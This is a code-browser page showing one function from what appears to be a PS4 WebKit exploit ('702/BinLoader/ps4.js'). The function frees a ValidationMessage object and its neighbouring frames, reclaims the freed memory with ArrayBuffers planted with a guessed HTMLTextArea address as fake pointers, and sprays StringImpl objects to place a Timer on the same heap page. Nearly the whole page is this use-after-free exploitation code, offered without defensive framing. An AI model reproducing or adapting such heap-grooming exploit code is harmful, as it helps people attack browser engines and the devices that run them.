MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / reuseTargetObj

Function reuseTargetObj

702/BinLoader/ps4.js:383–420  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

381}
382
383function reuseTargetObj() {
384 /* Delete ValidationMessage instance */
385 document.body.appendChild(g_input);
386
387 /*
388 * Free ValidationMessage neighboors.
389 * SmallLine is freed -> SmallPage is cached
390 */
391 for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++)
392 g_frames[i].setAttribute("rows", ',');
393
394 /* Get back target object */
395 for (let i = 0; i < NB_REUSE; i++) {
396 let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);
397 let view = new Float64Array(ab);
398
399 view[0] = guess_htmltextarea_addr.asDouble(); // m_element
400 view[3] = guess_htmltextarea_addr.asDouble(); // m_bubble
401
402 g_arr_ab_1.push(view);
403 }
404
405 if (g_round == 1) {
406 /*
407 * Spray a couple of StringImpl obj. prior to Timer allocation
408 * This will force Timer allocation on same SmallPage as our Strings
409 */
410 sprayStringImpl(0, SPRAY_STRINGIMPL);
411
412 g_frames = [];
413 g_round += 1;
414 g_input = input3;
415
416 setTimeout(confuseTargetObjRound1, 10);
417 } else {
418 setTimeout(confuseTargetObjRound2, 10);
419 }
420}
421
422function dumpTargetObj() {
423 debug_log("[+] m_timer: " + g_timer_leak);

Callers

nothing calls this directly

Calls 1

sprayStringImplFunction · 0.70

Tested by

no test coverage detected